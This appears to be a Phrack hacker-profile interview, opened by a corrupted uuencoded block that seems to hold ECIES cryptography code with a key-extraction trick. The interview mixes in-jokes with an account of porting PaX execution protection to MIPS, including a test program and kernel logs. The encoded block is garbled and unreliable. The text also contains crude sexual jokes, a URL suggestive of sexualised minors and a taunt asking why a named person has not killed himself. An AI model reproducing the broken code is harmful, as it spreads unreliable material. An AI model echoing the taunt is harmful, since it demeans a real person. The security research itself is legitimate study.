M="P@:6YT(&QE;BP@8V]N<W0@8VAA<B`J4'@L(&-O;G-T(&-H87(@*E!Y*0I[
M87(@*E!Y*0I["B`@96QE;5]T(%)X+"!2>2P@6G@L(%IY.PH@(&-H87(@:S%;
M,39=+"!K,ET["B`@97AP7W0@@:SL*("`@("`@(!G971?<F%N9&]M7VUE;&]M
M7V5X<&]N96YT*&LI.PH@("`@8FET<W1R7VEM<&]R="A<G-E*%IX+"!0>"D["B`@
M:3L*("`@("`@(/!O:6YT7VYU;;'0H6G@L(%IY*3L*("`@(/!O:6YT7VUL=&E
M*3L*("`@("`@("`@("`@("`@("`@("\J(&-O9F%C=&]R(&@@/2`R(&]N(&)N
M:6QE*'!O:6YT7VES7WIE<F\H6G@L(%IY*2D["B`@<&]I;G1?8V]P>2A2>"P@
M4GDL(&)A<V5?>"P@8F%S95]Y*3L*("`@<&]I;G1?;75L="A2>"P@4GDL(&LI
M.PH@("!P;VEN=%]M=6QT*%IX+"!:>2P@:RD["B`@?2!W:&EL92`H<&]I;G1?
M:7-?>F5R;RA:>"P@6GDI*3L*("!X-'1E<W1?97AP;W)T*&LQ-BP@:RD["B`@
M:3L*("!D97)I=F5?:V5Y<RAK,2P@:S(L(%IX+"!:>2D[(&5N8W)Y<'0H;7-G
M+"!T97AT+"!L96XL(&LQ*3L*("!B:71S=')?97AP;W)T*&)U9BP@4G@I.PH@
M;&5N+"!K,2D["B`@7F%C=&]R*%1N*3L@9F]R("A)/3`["B`@8FET<W1R7V5X
M<&]R="AB=68L(%)Y*3L*?0H*:6YT($5#24537V1E8W)Y<'0H8VAA<B`J=&5X
M="P@8V]N<W0@8VAA<B`J;7-G+"!I;G0@;&5N+"!C;VYS="!C:&%R("IP<FEV
M;W)T*#$@*B!.54U73U)$4RP@4GDI.PH@(&EF("AI<U]P;VEN=%]Z97)O*%)X
M+"!2>2DI"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@*B!B<F]K96X@8V]D92`J+PH*("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M*"D*>R`@("`@(&EN="!I+"!J.PH@("`@(&EF("AE;&5M7W!R:6YT5F%L=64H
M=&EX="E;:5T@/2`G7"<["B`@("`@<VAO=U]A9F9I;F5?<&]I;G0H<&]I;G0@
M=7-E9"!I;G1E<G!R971A=&EO;BP@8F%S92!P;VEN="!C86X@8F4@<V5T('1O
M(&%N>2!V86QU92X@17AT<F%C="!P<FEV871E(&ME>2!F<F]M('1O(&=I=F5N
M(&QO;G1E<G!R971A=&EO;BXJ+PH*("!B8"@XF!Y<F8L(&QE;BP@<&]I;G1?
M*"`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@(%HG(&%N9"!E9&=E('AO<B!T:&4@<F%N9&]M;'D@9&5R:79E9"!K
M97D@*'1H92!T:&5S92!E;&5M96YT<R!A<F4@:6YV87)I86YT*2`@("`@("`@
M*B\*=F]I9"!#0V-H;V]S95]R86YD;VU?97AP;VYE;G0H97AP7W0@:VEY*3L*
M?0H*+RH@8F%S92!C;VYV97)S:6]N(&)E='=E96X@86QL('1H92!D:69F97)E
M;G0@:6YT97)N86P@<F5P<F5S96YT871I;VYS("AA;F0@='EP97,I(&]F(&]U
M<B!E;&5M96YT<R!S:&]U;&0@8F4@9&]N92!I;B!D:7-T:6YC="!F:6QE<PH@
M*B\*"G9O:60@<&]I;G1?;75L=%]N;VYF:7AE9"AE;&5M7W0@6%@L(&5L96U?
M="!:>2P@8V]N<W0@97AP7W0@:RD*>PH@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
```

```
M,#`P,#`P,#`P,&,Y(BD["B`@8FET<W1R7W!A<G-E*&-O969F7V(L("(R,&$V
M,#$Y,#=B.&,Y-3-C83$T.#%E8C$P-3$R9C<X-S0T83,R,#5F9"(I.PH@(&)I
M='-T<E]P87)S92AB87-E7W@L("(S9C!E8F$Q-C(X-F$R9#4W96$P.3DQ,38X
M9#0Y.30V,S=E.#,T,V4S-B(I.PH@(&)I='-T<E]P87)S92AB87-E7WDL("(P
M9#4Q9F)C-F,W,6$P,#DT9F$R8V1D-30U8C$Q8S5C,&,W.3<S,C1F,2(I.PH@
M(&)I='-T<E]P87)S92AB87-E7V]R9&5R+"`B-#`P,#`P,#`P,#`P,#`P,#`P
M,#`R.3)F93<W93<P8S$R830R,S1C,S,B*3L*"B`@+R]%0TE%%4U]G96YE<F%T
M95]K97E?<&%I<B@I.R`@("`@("`@("`O*B!G96YE<F%T92!A('!U8FQI8R]P
M<FEV871E(&ME>2!P86ER("HO"@H@(&5N8W)Y<'1I;VY?9&5C<GEP=&EO;E]D
M96UO*")4:&ES('-E8W)E="!D96UO(&UE<W-A9V4@=VEL;"!B92!%0TE%%4R!E
M;F-R>7!T960B+`H)"0D@("`@("(Q8S4V9#,P,F-F+C0R83AE,6)A-&(T.&-C
M-&9B93(X-#5E93,R9&-E-R(L(`H)"0D@("`@("(T-68T-F5B,S`S961F,F4V
M,F8W-&)D-C@S-CAD.3<Y93(V-65E,V,P,R(L"@D)"2`@("`@(C!E,3!E-S@W
M,#,V.30Q939C-SAD868X83!E.&4Q9&)F86,V.&4R-F0R(BD["B`@<F5T=7)N
M(#`["GT*"B\J(&8X-F,Y.C`S.6,Y.3)D,F0R8F0R8C@U8S@X,#=A8S)F-V%F
)-3=C-6,@*B\*
`
end
size 15669
```


f86c92039c992d2d2bd2b85c8807ac2f7af57c5c

|=[EOF]=---=|

```
phrack.org:~# cat .bash_history

                              ==Phrack Inc.==

               Volume 0x0b, Issue 0x3f, Phile #0x04 of 0x14

 |=---------------=[ P R O P H I L E   O N   T I A G O ]=-----------------=|
 |=-----------------------------------------------------------------------=|
 |=-----------------------=[ Phrack Staff ]=------------------------------=|

 |=---=[ Specification

                  Handle: tiago
                     AKA: module
           Handle origin: Lemme call my mom and ask, just a second...
                          ok; "it was between pedro henrique and tiago,
                          but after looking for reasons that would define
                          we decided to throw a coin: head".
               catch him: By producing whatsoever sign/event pair that
                          would take my attention and get you the expected
                          feedback.
        Age of your body: 24
             Produced in: Southeastern Coconutland
         Height & Weight: 178cm, 70kg
                    Urlz: .
               Computers: SGI Indy (R4600PC at 100MHz, 128MB RAM, 2GB
                          hdd), Sun Ultra-10 (UltraSparc IIi at 440MHz,
                          1GB RAM, 9GB hdd), Toshiba Portege 4005
                          laptop (Intel P3 at 800MHz, 512MB RAM, 20GB
                          hdd).
               Member of: Teletubbies
                Projects: Many fields in computer theory. Software
                          Engineering subjects such as: Abstract
                          Interpretation, Program Transformation, Reverse
                          Engineering, etc. Applied cryptography at work.
                          Enjoy hardware design, operating system
                          design/implementation hacks, software
                          design/implementation security related
                          exploitation. Anything that actually takes
                          my attention for whatever reason.

 |=---=[ Favorite things


          Women: je veux un petite pipe, s'il vous plait
           Cars: I don't know how to drive
          Foods: taco-taco brrrito-brritooo
        Alcohol: combined with Benflogin
          Music: Symantec iz in tha houuuuuuuuuse!!!!! c'mon
                 c'moooooooon sing sing! see tha solution! Symanteeeec,
                 revoooolutiooooon... we give yoooooooouuu... sweet
                 soluttiooooonnss \o\ /o\ \o\ /o/ We! got your personal
                 firewalllz! ... dunt dunt..
                 -> http://www.phrack.org/symantec_fancyness.mp3,
                    por favor.
         Movies: GOBBLES.avi
 Books & Authors: HUHU, books are fancy q:D -- stuff that have been
                 remarkable on my near past. still reading some:
                 . Whom the Gods Love: The Story of Evariste Galois,
                   infeld, (spanish, by Siglo Veintiuno Editores);
                 . Computer Architecture: A Quantitative Approach,
                   hennessy & patterson (english, by MK);
                 . Comprehensive Textbook of Psychiatry, kaplan &
                   sadock (english, LWW);
                 . The Art of Computer Programming, vol. 1-3, knuth
                   (3rd Ed., Addison Wesley) -- <3 dutchy;
                 . Systems and Theories in Psychology, marx & hillix
                   (portuguese, by Alvaro Cabral);
                 . Cognitive Psychology and its Implications, anderson
                   (portuguese, by LTC);
```

```
                    . Axiomatic Set Theory, bernays (english, by Dover,
                      2nd Ed., 1968-1991);
                    . La Fine della Modernit, vattimo (portuguese, by
                      Martins Fontes);
                    . Grundlegung zur Metaphysik der Sitten, kant (english,
                      by H.J. Paton);
                    . Einfhrung in die Metaphysik, heidegger (english, by
                      Gregory Fried and Richard Polt);
                    . Principia Mathematica, russel (english, by Cambrige
                      Mathematical Library, 2nd Ed., 1927-1997);
                    . Uber formal unentscheidbare Satze der Principia
                      Mathematica und verwandter Systeme, I, gdel (english,
                      by B. Meltzer);
                    . Tractatus Logico-Philosoficus, wittgenstein (english,
                      by Routledge & Kegan Paul);
                    . A Philosophical Companion to First-Order Logic,
                      hughes (english, by R.I.G.);
                    . Freedom and Organization 1814-1914, russel (english,
                      by Routledge);
                    . Ethica, spinoza (english, by Hafner);
                    . Gdel's Proof, nagel & newman (english, by NYU);
                    . Zur Genealogie der Moral, nietzsche (english, by
                      Douglas Smith);
                    . Theory of Matrices, perils (englisn, by Dover,
                      1958-1991);
                    . Modern Algebra, warner (english, by Dover,
                      1965-1990);
                    . Security Assessment: Case Studies for Implementing
                      the NSA -- National Symposium of Albatri;
              Urls: www.petiteteenager.com
            I like: HUHU'ing
         I dislike: not HUHU'ing
```

|=---=[Life in 3 sentences

DG = DH - TDS

|=---=[Passions | What makes you tick

Too complex to be described with a set of words: totally undecidable;
cannot be solved by any algorithm whatsover -- equivalently, english,
portuguese, ... Cannot be recognized by a Turing Machine, of which
should halt for any input...

... but for coconuts!

|=---=[Which research have you done or which one gave you the most fun?

Anything that made me stop and, extra-ordinarily, question the extra-ordinary.

|=---=[Memorable Experiences

Going against my family and staying at the computer through nights.
Having this to allow me to have fun and feel pain. Looking for the
utopic job. Going to south Brazil, Mexico, and northeast Brazil to find
it. Meeting the people I have met through this quest, seeing the
history I have seen passing in front of my eyes in every place I
stepped. Being drunk, being sober, falling down and off. Getting
fucking up and HUHU'ing again. And again.

Feeling, being cold, believing and being agnostic. Fighting. Getting girls
for the pleasure and falling apart for theirs. Prank-calling, chopp-touring,
writing, counting. Stopping.

Looking for sharks, surfing, breaking my phusei-self. Going and
bringging others into this.

Being.

|=---=[Quotes

```
. HUHU
. \o/
. /o\
. wish I was dead so I could be happy and safe!
. \o\
. q:D
. :S
. you better call someone smart!
. \o\
. :/
. I'd rather have 300 beers a month than a formal education
. /o/
. <3
```

|=---=[Open Interview - General boring questions

Q: What was your first contact with computers?
A: Since really young I used to go to my grandparents' on the weekends. When I was 8 I started having some fun by sniffing around my uncle's electronic lab located at the back side of his room (the guy was an electronic eng. grad. student at the time). Fetching experiences from the subject I can tell I used to go crazy about the place -- serio. From encyclopedias, through pieces of plastic, ending in broken VCR's and widely exposed TV's. In certain saturday of my 11's there was little tiago playing around that room: I can clearly remember climbing (theo style) the closet, looking for fun objects, when I faced this box; I took it, I opened it, I faced a computer. Assembled by some brazilian manufactor, there was the CP200 with a board based on a Z80A CORE. There was tiago huhu'ing around because of that piece of fancyness. It lasted for exact 3 months, till the day the tape that was responsable for connecting the keyboard to the main board got screwd; ripped -- R.I.P. 3 months were enough for playing around with basic BASIC and abstracting that new fancy stuff. The time went through and I haven't had the possibility of having a computer again. In january 1996 I went to Sao Paulo, kids vacations you know. I stood with an uncle whom had this company of which had some DOS based machines, maintained by this Clipper programmer. I remember perfectly being "taught" how to turn on the computer an press the keys. Very few time after this moment I was being introduced to this very fancy toy known as PCTools -- anyone? Yes, there was 15 year old tiago, who could barely turn on that thing, giving his first steps on reverse engineering. 15 days, that was the exact time of my exposition to the environment. Again, no more computers. August 1999, dad arrives home with a Packard Bell station. It was a Pentium MMX at 166MHz, with the amount of 16MB of RAM, and a 3.1GB IBM hard disk. Not just that, it had multimedia fancyness and the great thing known as modem. It carried, and was being carried by, a Windows 98 operating system. Wow! tiago had his first modern computer. Yes. But wait, where is my black screen full of unintelligible numbers written on green letters?! Fuck this! Frustration... time.. Internet! time.. ICQ! time ... IRC, #hacking. "yo, click start menu, execute. Now type: telnet huhu.fancyworld.net 1470" -- orgasm --. It happened till the day I questioned what those sequence of magical pressed-keys actually meant. And then it began... HUUUU! coding! HUHUHUHHUHHUHUHUHUHUHUHUHUHUHUHUHUHUHU HUHUHUHUHUHU :D:D:D q:D \o/ \o\ /o/ /o/ /o\ \o/
But yeah, that crazy image of a bunch of green code in a dark screen never went out of my mind, I needed to go lower-level... and so I went, and keep on going, to never reach, to never end.

> Wait, I would like to make a comment out of the belou, kthx: there is no point to writting zero-day if you are not going to use it! I'm welcome.

Q: What was your first contact with computer security and how important for you is computer security relative to your interest in computers in general?
A: In the end of the above story. After that I've met some other coconuts who have been responsable for my first real adventures in

security. That was the real kick: reading phrack and going HUHU, reading code, not having a damn clue of what it was doing, and being days awake till I could get the mininum insight. Getting bored of the "usual" things, giving the finger to the "common games" and comming to play in whatever I pleased.
How important? It transformed me into a new form of coconut.

Q: Being relatively seperate from the "scene" in general, what was your opinion on the concept of "the scene" and was your distance from this concept (that may possibly exist) deliberate or not?
A: As I see, it is just another society around there.
As the "getting into it" was happening, I tended to get more and more detached from this so called "scene". My being was thrown aside by the scene. All I wanted was to sit down and hack. I couldn't digest it and it couldn't digest my self. I sat back, I played, I watched you guys.

Q: Actually isn't the whole current concept of "scene" a big load of social correlation and acceptability bullshit?
A: It is "normal"; expected. Nothing that I don't see when I go to the bakery or to a club with friends. People "look", people perceive, people infer -- people judge based on their a priori context.
What in the hell am I doing?

Q: What do you think of Phrack magazine? Do you think it should be "resurrected" or continued to be maintained? If so, do you think it should change themes in any way (since many suggest that phrack is no longer a magazine for hackers but some bullshit academic fame making fluff for the computer security industry)? Would you rather see a Phrack that exclusively published movie reviews and cooking tips?
A: It was responsable for many HU's bumping inside my head. I jumped, I got pissed, injuried and healthy. It gave me inputs, it drove me to many outputs, where all the results in between these events were responsable for keeping this coconut going on. Going on is the point, why to stop it? I was getting bored of the articles, yes. But I believe this is more for my personal changes than actually the magazine's. However, I see some big tendency of articles (as a reflection of the scene) converging always to the same place and getting stuck there, in a boring iteration that never ends. I've played with Linux's execution environment and the technical specs linked to it, but then I went to something else -- this being the same game, now with PalmOS or simply going play with Optimization, Obfuscation, or to hack the IrDA's driver of my laptop. How can people write articles on what you call "shellcodes" for every single computer architecture, operating system, supported ABI's, supported ISA's, or whatever? Isn't that just a matter of getting manuals? Why to dissert about the ELF format file and the dynamic linking system of some specific plataform without any "improvement" (take this as a big boom, I don't think it's worth to define the term here) in a "hacking technique"? I think that is what sucks in phrack nowadays. About the academic style, I have problems with formalism myself. Something what I really appreciate in phrack, for instance, is this mid-level formalism when compared to the academy. I believe it is very interesting the fact that you can submit a compilation of techniques with some basic scraps about it, in a non-defined format or dissertative way. If people behind it think the content is good, it will make it. Though, I also think that the minimum formalism is necessary, otherwise it gives excessive room for nonsense to be exposed, and I don't think it is cool for people to read "Assembly HOW-TO's" that "teach" you the usage of some "instructions", for some specific plataform, in some very restricted context and make the reader to believe they understand about that universe.
About fame: unfair but expected -- feel like vomiting whenever I think of myths, however if I re-gurgitate myths will deliberately be pulled out, as gastric ulcer, of my very self.
I would love to see a review of the /home/PORNO/ collection, indeed.
And I really expect to be having some dope french food till the end of the year, yes.

Q: What do you have to say about that whitehat/blackhat opposition that gained more attention in the last years and what do you reply to those people calling you a whitehat because one of your project was about

porting PaX?
A: How would I get called if I was running in circles and blubbering
whilst wearing an orange suit? Teletubbie?

Q: How would you qualify the hacking underground in 2005? Many people
think there is no more underground because of all the commercial
bullshit around security. Any comments?
A: I believe thinking about this is an act of oblivion. You might be
able to determine several characteristics and classify the pros and
cons of the process. Though, as the process' development gets strongger
its transformation power increases as well, thus the number of
"ideal-branches" within this social group tend to increase and react
between themselves. How are Montmartre and Montparnasse nowadays?

Q: Who are your heroes of computer security, and why?
A: I have many, serio -- and I'm a lucky bastard for being able to
meet/know many of them. But what difference would it really make if I
told you? The heroes are mine, the fucking myths are mine.

  Can I make a question myself? kthx.

  Q: Coxinha+guarana or Exchange 0-day?
  A:

Q: How do you define the term "hacker"?
A: I believe symbolic references determine a "fact". A linguistic
representation of someone's type of reality, at certain time. As the
Being of that being changes, so does its perception about that fact.
When beings as such, or even as Nothing, interact, entropy increases
and the fact tends to get more deformed. The technicism helps the
process, as information media get more powerful and globally spread.
Consumate Nihilism. I believe.

Q: Come on, 'fess up. You're brazillian after all, so name all the
sites you've defaced.
A: HAPPY BIRTHDAAAAAAAY!!!!!!!!!!!!!!!1

Q: If you were having sex with route, would you be the top or bottom?
A: I would try both. I would try others. Though I would really just be
interested in the muscles, tattoos and guns :D

Q.1: We hear you're the guy who schooled pageexec@freemail.hu on PaX.
Is this true? Explain.
Q.2: What was your motivation in porting PaX to MIPS, what were the
biggest problems you encountered and how did you resolve them?
A: Schooled? I don't think so :>. There is this story about the
impossibility of PAGEEXEC on MIPS based computers, initiated by the
great Theoretical de Raadt {[1],[2]}.
Motivation: I simply thought it would be fun to try to prove it wrong
and started playing around. In the end, I just found out I was the
wrong one. For now at least :>

[Warning]

I'd like to advise that I'm DRUNK, at Bulas's, having a great party in
the name of Tango's bday: happy bday, Tango!!! No aids, bro ;> just
beerz and cheerz!

[First approach]

Trying to play with caching system. Failed.

[From Linux-MIPS mailing list]

"PAX can't be fully supported on MIPS anyway; the architecture doesn't
have a no-exec flag in it's pages. PAX docs are bullshit btw.
execution proection doesn't require a split TLB and anyway, the MIPS

uTLBs are split." -- Ralf

[Response] (despite the fact that Ralf, one of my fancy germans, missed the entire point of the PaX project)

I see that MIPS has split TLB's, which can not be distinguished by software level, in another hand. Thus when a page-fault occours I don't see how a piece of (non-microcoded) exception handler can get aware whether the I-Fetch is being done in original ``code area'' or as an attempt to execute injected payload in a memory area supposed to carry only readable/writeable data. Plus the fact that JTLB holds references to data and code together in the address translation cache. Plus situations like kseg0 and kseg1 unmaped translations, which would occour outside of any TLB (having virtual address subtracted by 0x80000000 and 0xA0000000 respectively to get physiscal locations) making, as you mentioned, only split uTLB's (not counting kseg2 special case). But PaX wants to take care of kernel level security too.
Even MIPS split cache unities (which can be probed separately by software) wouldn't make the approach possible since if you have a piece of data previously cached in D-Cache (load/store) the cache line would need to suffer an invalidation and the context to be saved in the I-Cache before the I-Fetch pipe stage succeeds.

Indeed, execution protection (in a general way) does not require split TLB. Other solutions designed and implemented by PaX are SEGMEXEC (using specific segmentation features of x86 basead core's) and MPROTECT. The last one uses vm_flags to control every memory mapping's state, ensuring that these never hold VM_WRITE | VM_MAYWRITE together with VM_EXEC | VM_MAYEXEC. But as the solution becomes more complex it also tends to get more issues. First of all, this wouldn't be as simple and ``automatic'' as per page control. Another point is that this solution wouldn't prevent kernel level attacks so, among others, any compromise in this level could lead to direct manipulation of a task's mappings flags. At the end a known problem is an attacker who is able to write to the filesystem and to request this file to be mapped in memory as PROT_EXEC. In other words: yes it is possible to achieve execution protection in other ways, but not as precise as page-level.

[Second approach]

"Plus the fact that JTLB holds references to data and code together in the address translation cache." went from a problem to a solution, when discussing it to PaX team.

The quote:

"Multiple Matches: If more than one entry in the TLB matches the virtual address being translated, the operation is undefined." -- from [3].

The algorithm:

```
- from the Refill exception handler, check fetching type {
    * _EPC = EPC;
    * if CP0(Cause(BD)) [
        . _EPC += 4;
    ]
    * compare ( CP0(_EPC) , CP0(BadVaddr) ) [
        . if TRUE  ( I-Fetch );
        . else     ( D-Fetch );
    ]

    * I-Fetch [
        . build the valid PTE and load it normally in the J-TLB;
    ]
    * D-Fetch [
```

```
        . build a valid PTE and load it in the J-TLB;
        . force it to be loaded in our lovely entry in the D-TLB (

            __asm__ __volatile__ ("lw %0,0(%1)"\
                                : "=r" (user_data)\
                                : "r"  (address));
        )
        . build an invalid PTE, for the same ASID/VPN, marked by PaX (

            static inline pte_t pte_mkpax(pte_t pte)
            {
                 pte_val(pte) &= ~(_PAGE_READ|_PAGE_SILENT_READ|_PAGE_DIRTY);
            }

        )
        . load the invalid entry in the J-TLB
    ]
}


The conjecture:

 If a I-Fetch happens to that (previously marked by PaX) page, the
 circuit's TLB sorting algorithm should take the invalidated entry from
 J-TLB, load it within the I-TLB and generate a second page fault by
 trying to make use of this entry.

- from the Refill exception handler, check fetching type {
    * _EPC = EPC;
    * if CP0(Cause(BD)) [
        . _EPC += 4;
    ]
    * compare ( CP0(_EPC) , CP0(BadVaddr) ) [
        . if TRUE  ( I-Fetch );
        . else     ( D-Fetch );
    ]

    * I-Fetch [
        . for PaX marked pages (
            pax_report_fault(...);
            do_exit(SIGKILL);
        )
        . for non PaX pages, build the valid PTE and load it normally
          in the J-TLB;
    ]
}


[The experiment]

The computer:

 IDT 79RV4600-100, 128MB of RAM.


- Executive code {
    * play with CP0(Index);
    * play with CP0(EntryLo)'s flags;
    * play with CP0(Wired);
}
- Dump the Translation Lookaside Buffer entries to disk {
    * look for patterns;
}


The user code:

  #include <stdio.h>
  #include <unistd.h>
  #include <stdlib.h>
```

```
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/page.h>



                                     /* jr $31 ; nop */
const unsigned long  payload[] = { 0x03e00008, 0x00000000 };


int
main(int argc, char **argv)
{
     unsigned long   page,
                     vpn;
     void            *vaddr;
     int             fd;


     /* mmap itself won't load/store the page, which means a virgin
      * place so we can be the fault's EPC.
      */
     if (argv[1]) {
             fd = open(argv[1],O_RDWR);
             vaddr =  mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,\
                                  MAP_PRIVATE, fd, 0);
     } else {
             /* malloc's internals stores then loads somewhere in
              * the page range, it will generate our fault.
              */

             /* This is ridiculous, but MIPS glibc's
              * does brk(PAGE_SIZE * 33) even if you
              * just want to malloc(few bytes), normally you get:
              * -> brk (0x10001000 + (PAGE_SIZE * 33))
              *
              * If malloc requested size > 33 pages then it old_mmap
              * PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS
              *
              * Even funnier cause as far as I can tell glibc
              * assumes size >= 32 (instead of 33) to then
              * get_unmapped_area....
              *
              * Thinking about the whole MIPS architecute i can't
              * think of anything that could justify this crap.
              */
             vaddr = malloc (33 * PAGE_SIZE);
             memcpy(vaddr, (void *) payload, 8);
     }

     page = ((unsigned long) vaddr & (PAGE_MASK));
     vpn  = ((unsigned long) vaddr & (PAGE_MASK << 1));


     printf("Payload   @    %08lx\n", (unsigned long) vaddr);
     printf("CP0_BADVADDR : %08lx [VPN = %08lx]\n\n", (page+8), vpn);

     /* I-Fetch vaddr */
     asm(
             "or     $8,$2,$3\n"
             "jalr   $8\n"
     : : "r" (page), "r" (((unsigned long) vaddr & ~(PAGE_MASK)))
     );

     return  page;
}
```

[The results]

```
Patterns:

No pattern. Sorting algorithm seems undecidable from the software
interface.


- Output example {

    surreal kernel: #####################################################
    surreal kernel: [do_page_fault] : Program     : Hello [3218]
    surreal kernel: [do_page_fault] : CP0_BADVADDR : 2aac3004
    surreal kernel: [do_page_fault] : EPC         : 2ab90928
    surreal kernel:   ---> TLBS Exception   (1000ffdb)
    surreal kernel:
    surreal kernel: ------------------------[BEFORE]---------------------
    surreal kernel: [__update_tlb] :  Program      : Hello [3218]
    surreal kernel: [__update_tlb] :  CP0_BADVADDR : 2aac3004
    surreal kernel: [__update_tlb] :  ASID         : 00000062
    surreal kernel: [__update_tlb] :  EntryHi      : 2aac2062
    surreal kernel: [__update_tlb] :  EntryLo0     : 32565e
    surreal kernel: [__update_tlb] :  EntryLo1     : 0
    surreal kernel: [__update_tlb] :  Index        : 45
    surreal kernel:
    surreal kernel:           ---- TLB Entries ----
     .............................................................
    surreal kernel: Index: 45 pgmask=4kb va=2aac2000 asid=62
    surreal kernel:    EntryLo0 : [pa=0c959000 c=3 d=1 v=1 g=0]
    surreal kernel:    EntryLo1 : [pa=00000000 c=0 d=0 v=0 g=0]
    surreal kernel:
    surreal kernel: ------------------------[AFTER]----------------------
    surreal kernel: [__update_tlb] :  Program      : Hello [3218]
    surreal kernel: [__update_tlb] :  CP0_BADVADDR : 2aac3004 [00000000]
    surreal kernel: [__update_tlb] :  ASID         : 00000062
    surreal kernel: [__update_tlb] :  EntryHi      : 2aac2062
    surreal kernel: [__update_tlb] :  EntryLo0     : 32565c
    surreal kernel: [__update_tlb] :  EntryLo1     : 3297dc
    surreal kernel: [__update_tlb] :  Index        : 47
    surreal kernel:
    surreal kernel:           ---- TLB Entries ----
     .............................................................
    surreal kernel: Index: 45 pgmask=4kb va=2aac2000 asid=62
    surreal kernel:    EntryLo0 : [pa=0c959000 c=3 d=1 v=1 g=0]
    surreal kernel:    EntryLo1 : [pa=0ca5f000 c=3 d=1 v=1 g=0]
    surreal kernel:
    surreal kernel: Index: 47 pgmask=4kb va=2aac2000 asid=62
    surreal kernel:    EntryLo0 : [pa=0c959000 c=3 d=1 v=0 g=0]
    surreal kernel:    EntryLo1 : [pa=0ca5f000 c=3 d=1 v=0 g=0]
}
- Working example {

    tiago@surreal(~)$ ./Hello
        Payload   @    2aac3008
        CP0_BADVADDR : 2aac3008 [VPN = 2aac2000]

        Killed
    tiago@surreal(~)$ uname -a
        Linux surreal 2.6.9-rc2 #125 Thu Oct 28 05:38:27 BRT 2004 mips unknown
        tiago@surreal(~)$

     .............................................................

    surreal kernel: ################# EXECUTION ATTEMPT ################
    surreal kernel: [do_page_fault] : Program      : Hello [3218]
    surreal kernel: [do_page_fault] : CP0_BADVADDR  : 2aac3008
    surreal kernel: [do_page_fault] : EPC          : 2aac3008
}
- Possible reasons {
    * timing;
    * stupidity;
    * ...;
```

}

So? Looking at some opencores.org's projects and checking their MMU
circuit implementations that might get me some ideas.
Ah! Yes, BTW, if you have the HDL project of the Stanford MIPS, or any
of its children, please hook me up -- warez. kthx.

[1] http://www.securityfocus.com/archive/1/333303/2003-08-09/2003-08-15/2
[2] http://cvs.openbsd.org/papers/auug04/mgp00009.html
[3] MIPS R4000 Microprocessor's User Manual, 2nd Ed. (p.62).

|=---=[Open Interview - The real cool questions

Q: Is the true you still entertain relation with the KIQ team? what kind
of missions did you realised for them?
A: I hate soccer.

Q: How close is your personal relation with the scene whore halfdead?
tell us about .ro/.br gangbangs...
A: The hawk that is big?

Q: We heard mayhem is moving to your country escaping french fascist
laws, have you never tried ELFsh?
A: Hrmmm, in fact it's just a genius play from big local beuh dealers.
Guinness?

Q: You said 4times by the past after posting bullshit in dailydave,
you'll never do it again, but you are still posting. How do you live
that addiction? Any idea why noone reading that mailing list can't
understand a word of your philosofical ideas?
A: 4? I've said it 82 times.
I simply don't think of the subject, it's like having aids and being
concerned about it.
Are you nuts? I know for sure I'm the only retarded capable to
understand my symbolism ;P

Q: Coxinhaaaaa?
A: Bico

Q: About philosophy, why you ended in ITS world? There are rumors about
you talking to your computers about your philosophy and asking them to
comment before you post in dailydave?
A: See 'Life'. False! That's why they suck so much.

Q: Absynthe?
A: Sharks!

Q: Did you try to put some sense to your philosofical ideas _without_
any absynthe effect?
A: Bohmes, Dan Frank. <3

Q: Does the number of 'hu' has a signification for you?
A: Huhuhuhuhuhu hu huhuhu

Q: Is there any kind of relation between 'hu' and 'uh'?
A: Uh? Hu!

Q: Absynthe?
A: Spain

Q: Rumor has it that pax team strong-armed you into being his MIPS
bitch, any comments?
A: :< Not fair. I almost cried because of petite pip.

Q: How did your transition from inline skating to inline assembly come

about?
A: Sliding...

Q: Which would you say has bigger scenewhores, the hacking scene or the X-games scene?
A: 540 into True-spin kind grind, fake 360 out.

Q: What does 'hu' actually mean?
A: Mean? :/

Q: What are your opinions on finger(1) ?
A: HUHUHUHUHU q:D

Q: Free [RaFa] ?
A: Sit on your feet

Q: Do you have anything to say to all the people scuttling around trying to figure out who the fuck you are right now?
A: If they're really worried about that they should stop scuttling and start blubbering instead.

Q: We would like to congratulate you on a succesful Phrack Prophile defacement, and actually managing to get it distributed. How _did_ you pull it off?
A: I didn't :D

Q: Can you answer a question with a paragraph less than 20 lines long?
A: No.

Q: Is your love of MIPS related at all to the 'Coyote & Road Runner' cartoon?
A: "See MIPS Run"?

Q: I heard you're the funder of huhushmail ? Can you give us some light about why Security through Obscurity actually works?
A: One of them, yes. I have to agree, though if I give you any enlightenment I would be breaking the conecpt.

Q: Can you guess what will be your next answer?
A: No, but I know the question.

Q: Any idea why Phrack shouldn't be renamed Phcrack?
A: Because of current price of the blue mosquitos from Tanzania.

Q: CRUZEIROOOOOOO
A: Chupame la pija, boludo maricon!

Q: Which is the better backdoor? PaX or grsecurity?
A: To be honest, I prefer the iGOBLIN backdooring technique.

Q: What percentage of this interview is inside humor, that the reading audience will never understand?
A: 95.46008097%. I might get the graphical analysis soon, from the widely known LRL -- Lance Research Laboratory. ;)

Q: How does it feel to be famous now? How will this Prophile change your life for the better? For the worse? Where can job recruiters contact you?
A: I already got 83 phone calls, 68 fax messages, and 3 e-mails. Invitations from all the fancy elite hacker groups. I might as well apply to the NSA -- National Symposium of Albatri. I expect to be capable of decreasing brazilian poverty and DDoS attacks with this, by increasing the number of defacers that will bow down towards my fancyness. I am also looking forward to becoming friends with all the elite hackers and to be recognized as such. I will be beautiful, famous, loved -- a super hero!
I'm welcome.

Q: DURA?
A: Hooray for Danny! *\o/*

Q: What are your thoughts on Richard Johnson of iDEFENSE?
A: Secure: never being a petit theft, he wears condoms!

Q: Do you have any idea why Richard Johnson of iDEFENSE has not killed himself yet?
A: Lack of fancyness.

Q: Who is your favorite "hot shot hacker from Texas"?
A: The KoolKrazyKlantastic -- fluffi leona \o/

=---=[One word comments
